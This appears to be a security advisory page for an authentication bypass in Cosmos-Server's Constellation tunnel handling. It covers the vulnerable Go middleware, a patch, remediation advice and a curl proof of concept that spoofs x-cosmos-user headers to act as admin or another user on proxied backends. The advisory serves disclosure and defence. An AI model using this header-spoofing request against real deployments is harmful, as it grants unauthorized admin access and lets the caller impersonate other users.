Cosmos-Server CVE-2026-49446
MEDIUMSeverity by source
AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
Adjacent network required, low complexity, high privileges needed (valid device API key)
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
The Constellation-tunnel bypass branch in tokenMiddleware at src/proxy/routerGen.go:53-66 returns to the upstream handler before the request's x-cosmos-user, x-cosmos-role, x-cosmos-user-role, and x-cosmos-mfa headers are stripped at lines 68-72, and before the AdminOnlyWithRedirect gate at lines 109-117 runs. Any holder of a valid Constellation device API key sends x-cosmos-user: admin to a proxied backend; the documented forward-auth integration treats the caller as admin with no JWT cookie, password, or MFA.
Preconditions
- Cosmos is deployed with Constellation enabled and at least one device enrolled.
- Attacker holds a valid
x-cstln-authAPI key for an enrolled device. - Attacker reaches Cosmos over the Constellation Nebula tunnel.
- Target proxy route has
AuthEnabled=true; upstream trusts thex-cosmos-userforward-auth header.
Details
// src/proxy/routerGen.go:46-122 - bypass returns before headers are reset
func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
enabled := route.AuthEnabled
adminOnly := route.AdminOnly
// bypass auth if from Constellation tunnel
if ((enabled && r.Header.Get("x-cosmos-user") != "") || !enabled) { // attacker-set header opens the branch
remoteAddr, _ := utils.SplitIP(r.RemoteAddr)
isConstIP := constellation.IsConstellationIP(remoteAddr)
isConstTokenValid := constellation.CheckConstellationToken(r) == nil
if isConstIP && isConstTokenValid {
utils.Debug("Bypassing auth for Constellation tunnel")
r.Header.Del("x-cstln-auth")
next.ServeHTTP(w, r) // forwards x-cosmos-user as set by attacker
return
}
}
r.Header.Del("x-cosmos-user") // only runs on the fall-through path
r.Header.Del("x-cosmos-role")
r.Header.Del("x-cosmos-user-role")
r.Header.Del("x-cosmos-mfa")
r.Header.Del("x-cstln-auth")
// ... JWT path runs here ...
if enabled && adminOnly {
if errT := AdminOnlyWithRedirect(w, r, route); errT != nil { // also skipped by bypass
return
}
}
next.ServeHTTP(w, r)
})
}
}The branch was written for tunneled-cluster traffic where an upstream Cosmos instance has already authenticated the user and signed the x-cosmos-user header itself. The branch condition reads the header before the strip block runs at lines 68-72, so any client can open the branch by sending the header. The Constellation IP and API-key checks then gate progression, but a Constellation device holder satisfies both: the API key was issued by the admin when the device was enrolled, and the tunnel terminates with the device's Constellation IP as the TCP source. Once the branch is taken, the original x-cosmos-user value flows to the backend untouched, and AdminOnlyWithRedirect is never invoked. Backends configured per Cosmos's documented forward-auth integration (the standard pattern for "Cosmos in front of an app that reads identity from a header") treat the attacker's chosen string as the authenticated identity.
The Constellation network is sold as a way for an operator to invite family and friends without exposing ports. Those invited members hold device API keys but are not Cosmos administrators - the trust boundary this bug crosses is exactly the "invited member -> admin role on a proxied app" line.
Proof of concept
Environment used to reproduce:
- Version:
masterbranch, audited 2026-05-13 (modulegithub.com/azukaar/cosmos-server) - Deployment:
docker run azukaar/cosmos-server:latest(or thedocker-compose.ymlfrom the project README) - Setup steps:
- Complete initial setup via
/cosmos-ui/; promote the operator account to admin. - Enable Constellation: Settings > Constellation > Create lighthouse.
- Enrol a device under a non-admin user: Constellation > Devices > Create. Save the device profile and the displayed API key.
- Configure one proxy route with
Host=admin-app.example,Mode=PROXY,Target=http://internal-app:port,AuthEnabled=true,AdminOnly=true. Upstream must trust thex-cosmos-userheader (the documented Cosmos forward-auth integration, e.g. an internal admin panel that reads identity from that header). - Attacker connects to the Nebula tunnel with the issued device profile, so the request's TCP source is the device's Constellation IP.
# 1. Variables - fill in from the steps above
DEVICE_APIKEY="<APIKey shown when admin created the device>"
PROXY_ROUTE="https://admin-app.example"
# 2. Single request that bypasses Cosmos auth and asserts admin to the backend
curl -k \
-H "x-cstln-auth: Bearer $DEVICE_APIKEY" \
-H "x-cosmos-user: admin" \
-H "x-cosmos-role: 2" \
-H "x-cosmos-user-role: 2" \
-H "x-cosmos-mfa: 0" \
"$PROXY_ROUTE/" -i
# Expected: HTTP 200 with the admin-gated backend rendering as user "admin".
# No JWT cookie was sent; no admin Cosmos account is held by the caller.
# Cosmos's debug log shows: "Bypassing auth for Constellation tunnel".A second request demonstrates cross-user impersonation on the same backend by changing the asserted identity:
curl -k \
-H "x-cstln-auth: Bearer $DEVICE_APIKEY" \
-H "x-cosmos-user: someotheruser" \
"$PROXY_ROUTE/" -i
# Backend renders as "someotheruser"; any per-user data partitioning at the
# backend is now under attacker control.Impact
- AuthN: bypasses Cosmos JWT login, password, and MFA for any holder of a Constellation device key.
- AuthZ: skips the per-route
AdminOnlygate, unlocking admin-only proxied backends. - Confidentiality: caller reads every admin-only proxied app as
adminfrom one curl. - Integrity: caller performs any admin-tier write the backend exposes via the forward-auth identity.
- Affected population: every Cosmos deployment with Constellation enabled, at least one enrolled device, and one or more proxy routes integrated via the documented
x-cosmos-userheader.
Suggestions to fix
> _This has not been tested - it is illustrative only._
Strip the identity headers unconditionally at function entry so they cannot open the bypass branch, and keep the AdminOnly gate on the Constellation path. The branch should only fire for routes that are explicitly AuthEnabled=false - on auth-required routes the JWT path must always run so the proxy itself is the sole authority that writes x-cosmos-user.
--- a/src/proxy/routerGen.go
+++ b/src/proxy/routerGen.go
@@ -46,15 +46,17 @@
func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ // Always strip identity headers before any decision based on them.
+ r.Header.Del("x-cosmos-user")
+ r.Header.Del("x-cosmos-role")
+ r.Header.Del("x-cosmos-user-role")
+ r.Header.Del("x-cosmos-mfa")
+
enabled := route.AuthEnabled
adminOnly := route.AdminOnly
- // bypass auth if from Constellation tunnel
- if ((enabled && r.Header.Get("x-cosmos-user") != "") || !enabled) {
+ // Constellation bypass only applies to non-auth routes; on auth-required
+ // routes the JWT path is the sole authority that may set x-cosmos-user.
+ if !enabled {
remoteAddr, _ := utils.SplitIP(r.RemoteAddr)
isConstIP := constellation.IsConstellationIP(remoteAddr)
isConstTokenValid := constellation.CheckConstellationToken(r) == nil
@@ -65,12 +67,7 @@
return
}
}
-
- r.Header.Del("x-cosmos-user")
- r.Header.Del("x-cosmos-role")
- r.Header.Del("x-cosmos-user-role")
- r.Header.Del("x-cosmos-mfa")
r.Header.Del("x-cstln-auth")Defence in depth: document that backends downstream of Cosmos must not accept x-cosmos-user over an untrusted hop. Bind the trust to a mutual TLS leg or a shared HMAC over <x-cosmos-user, request-id, timestamp> injected by the proxy and verified by the backend.
Regression test: add a unit test against tokenMiddleware asserting that a request bearing x-cosmos-user: admin and a valid x-cstln-auth reaches the next handler with r.Header.Get("x-cosmos-user") "" whenever route.AuthEnabled true.
AnalysisAI
Authentication bypass in Cosmos-Server 0.22.18 and earlier allows any holder of a valid Constellation device API key to impersonate any user (including admin) to backend applications by sending crafted x-cosmos-user headers. The tokenMiddleware prematurely returns before stripping these headers when the request originates from the Constellation tunnel, bypassing JWT authentication, MFA, and the AdminOnly access gate. Publicly available exploit code exists but no active exploitation has been reported.
Technical ContextAI
The vulnerability resides in the tokenMiddleware function in src/proxy/routerGen.go of Cosmos-Server, a reverse proxy and dashboard written in Go. The affected code handles authentication for proxied routes. The Constellation feature uses a Nebula overlay network for secure remote access, where enrolled devices obtain API keys. The middleware incorrectly checks for the x-cosmos-user header before stripping it; if the request comes from a Constellation IP and carries a valid API key, it forwards the user-supplied headers to backend applications. The root cause is an authorization bypass (CWE-285) where the authentication checks are skipped for Constellation traffic, allowing identity spoofing.
RemediationAI
Upgrade to Cosmos-Server version 0.22.19, which fixes the header stripping order and removes the Constellation bypass for authenticated routes. The advisory is at https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659 and the release at https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19. If immediate upgrade is not possible, consider disabling Constellation or removing device API keys for non-trusted users. Additionally, backend applications should not rely solely on the x-cosmos-user header for authentication without additional verification (e.g., mutual TLS or shared HMAC).
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External POC / Exploit Code
Leaving vuln.today
GHSA-2rx5-2g7j-2659